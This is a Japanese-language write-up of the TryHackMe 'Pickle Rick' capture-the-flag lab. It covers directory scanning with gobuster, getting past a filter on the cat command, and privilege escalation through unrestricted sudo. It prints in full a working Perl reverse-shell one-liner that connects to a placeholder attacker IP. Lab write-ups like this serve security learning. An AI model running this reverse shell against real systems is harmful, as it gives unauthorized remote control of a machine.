TryHackMe Pickle Rick writeup
Pickle Rickのwriteupです。
What is the first ingredient that Rick needs?
まずWebサイトを開いてみます。
指示されているWeb ページは何の変哲もないページですが、ソースにusernameの記載が見つかりました。
次に、robots.txtに怪しい文字列の記載があることが分かりました。
対象のIPに対してgobusterでファイルのスキャンをかけてみます。
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php,txt
login.phpなどが見つかりました。
login.phpにアクセスし、先ほど見つかったusernameとrobots.txtに書かれていた文字列を入れてみます。
通ったようです。
コマンドが打てる画面のようです。
ここでlsを叩くと、一番上に怪しいファイルが表示されます。
で、cat コマンドを打ってみると・・・受けつけられません。
head、tail、viewなどのコマンドも通りませんでした。
ファイルの表示を防ぐための対策のようですね。
そこで、lessを打ってみました。出てきました!これがfirst ingredientですね。
What is the second ingredient in Rick’s potion?
シェルコマンドが打てることが分かったので、リバースシェルを獲得できるか試してみます。
まずローカルで待ち構える。
次に、ターゲットマシンからリバースシェルを。 ここでは、チートシートを参考に下記のコマンドを実行しました。
perl -e 'use Socket;$i="<ローカルIP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
リバースシェルを獲得できました!
その後、ディレクトリを探し回ってみると、/home/rickに怪しいファイルがあります。
これで2番目の解答をGetできます。
What is the last and final ingredient?
sudo -lで使えそうなコマンドを探します。
なんとまさかの全部OKなようです。
ということで、rootの下をsudo で見てみると3番目と思われるファイルが見つかり、 あっけなくゲットできました。
sudoがフルオープンというのもなかなか強烈ですね。。。